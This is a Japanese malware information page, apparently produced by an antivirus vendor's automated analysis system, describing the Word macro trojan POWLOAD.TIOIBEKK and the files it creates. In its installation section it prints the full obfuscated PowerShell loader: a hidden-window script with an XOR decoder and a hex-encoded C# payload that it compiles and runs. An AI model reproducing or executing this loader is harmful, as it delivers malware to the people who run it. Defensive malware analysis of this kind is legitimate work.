Trojan.W97M.POWLOAD.TIOIBEKK

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のプロセスを追加します。

• powershell -WindowStyle Hidden Ng\x1f\x1f TNNg\x1f\x1f QNfunction vc78e {param($rcb83d3)$l1b767='y4982c';$j7731e7='';for ($i=0; $i -lt $rcb83d3.length;$i+=2){$u67e9=[convert]::ToByte($rcb83d3.Substring($i,2),16);$j7731e7+=[char]($u67e9 -bxor $l1b767[($i/2)%$l1b767.length]);}return $j7731e7;}Ng\x1f\x1f TNNg\x1f\x1f QN$sf995 = '0c47505655432a4d4a4c570e42414a515c045967404b4606141a6b4d5c1710595c167b0d0d514b5742301c464f5151060a0f4c4b5b0d1e146a4141171c59177c5b021e5a564b460a1a47024d410a1753196b4b100d5154167b2c42414a515c045967404b4606141a775d4658743e494d500f1057195b5e020a47194a0a554e520143692715587055420c0b40111a59060b5a5c5401515b187c564611006456515c1744167e5d46330b5b5a7956070b514a4b104a2414494d500f1057194b46020d5d5a18571b0d514b56122a1740694c404316075f5c5151401c705646330d46195b00071a560c1441170b5d575f12174d025b5c0756500f627c5e0f3059495740175116525d400d1c580a0a104f5971574c401a295b5056464344141b745d021d78505a40020b4d1b116f4309415b545b0059474d59460a1a145c4046060b5a19715c1729404b1841551c020e0d564b0a404b515c0459470c0f57074b1d0263760f157d54485d110d1c1b5357111751550b004155147c564611006456515c1744166f5140170c555568400c0d515a4c104a2414494d500f1057194b46020d5d5a18571b0d514b561201165b5518455a1c0008001a2a1740694c40431b0d0d5b0a5a4d186c715c1729404b184a514c030d5b514f5941505646430d575b0a50015514564d46430c5d574c12114e56010f0106500f627c5e0f3059495740175116725d400d1c580a0a1c0715581b14122617404b41620c105a4d0510310d587457440634515457401a5b18196b571735554a4c77110b5b4b05540215475c116f430a40584c5b005951414c571117144f575b0759400f0d015a1a0d11715c1729404b1854504a005c0a0a4f305a4d684611594d5d0e0a574a0315515c1759575f0157011a1d02484701155d5a1841171840505b120a1740195650004a061111492a1740694c40430f550e0c53064014041841551c020e0d564b0f570e00574b5b05010d0b571801080951534e050c0d0a41501d0251544b0f550e0c5306400904715c1729404b1668060b5b1043550c0d5b194c05554d005f5c091e305a4d68461159445a5905544c09560b54071a06001044024e00585d0b4f0f570e00574b5b07010d0b571801080e03534905010d53541b005d0d06534c055a0c0441501d0251544b0957580f05564409705646330d4617625711161d425f5d1716144d0f04574d525d034f36305a4d68461159550f5e07054f560410672a1740694c404a4c0f4c515c17594d0a5d0b07180909035b0551154e015757480c114851024e030c1453551f015f0e504f494c0d081e0c0c4019410106405058111b181e5b4d5712174e020d0c540742497b4146062269194f00504a030443021b4a0515084a051f1809400b53040f705646330d46195756571f525c5d0f2e18464a50530f577555545d00317355575002151c0a11092e18464a50530f577756484b4b0e060a0b054f4918565c06051f515c14014a42400f0d015a1a0d11565714597d574c62170b1c495b53544e01176c5d2a17400f0c1a4a5204410802521b1d155756571f525c5d1e50500f4d0f04574d525d0212341c567a545b0617401952010240060f055c060e146e5d5020155d5c56464b500f4a4c400a1753194f01024d52085e0f261742504a5d0d1451574c1c241c407f575e071c466959460b5171574e5b11165a545d5c175767495d510a18587f575e071c4617794213155d5a59460a165a7d594602501f1b646e0e41060b5c0b575b1f4f5b055b1c1c1b0d05564800080d5641500f530b535a4b02177c5d1417585659562510585c1044004e0c5c1010524800090c56574104010c51564f000d0d04571b000a0853531d05580d05561d000f0c51574802090904531d040b0d00571c040e08535341045b0c56521a005a0d514150184e0b53571f055f1109330b5b5a5d41102a40584a462a175256185a561f030a5b005e17514e18621116575c4b41300d554b4c7b0d1f5b114f01024d52085e1b582946565b57100a1a6a4c53110d1c510d54544a570b1109111c404c4a5c43490f44484701155d5a1841171840505b12100d46505655430f570e00574b0a404b515c045951085953524807104341170b5d575f12004b505a5a075e5b4d0d010a511a16024b4611105a5e1841551c020e0d565e2a404b515c0457715448461a4252564a1a0a174019510f53425d055d03021805080b1c2f1c5a5e4c5a58101f040a1b181b4d4d5d120c4a525d5b005a4477565644060b40176c5d2100405c10575218550809014d2a415b4b4611105a5e105b4f4b1d1509044a42470f5d04544c5012051a0011554b111a0c4a525d5b005a596a195b00071a560c631a0a5606101817431a065d5b505657785c565517116910034f111c404c4a5c430a025c0e05561d0f4445';Ng\x1f\x1f TNNg\x1f\x1f QN$sf9952 = vc78e($sf995);Ng\x1f\x1f TNNg\x1f\x1f QNAdd-Type -TypeDefinition $sf9952;Ng\x1f\x1f TNNg\x1f\x1f QN[r867f8]::nbc32();Ng\x1f\x1f TNNg\x1f\x1f QNNg\x1f\x1f TNNg\x1f\x1f QNN

他のシステム変更

マルウェアは、以下のファイルを改変します。

• %Application Data%\Microsoft\Office\Word12.pip

(註：%Application Data%フォルダは、現在ログオンしているユーザのアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Roaming" です。)

作成活動

マルウェアは、以下のファイルを作成します。

• %Application Data%\Microsoft\Office\Word12.pip
• {malware file path and name}

(註：%Application Data%フォルダは、現在ログオンしているユーザのアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Roaming" です。)

このウイルス情報は、自動解析システムにより作成されました。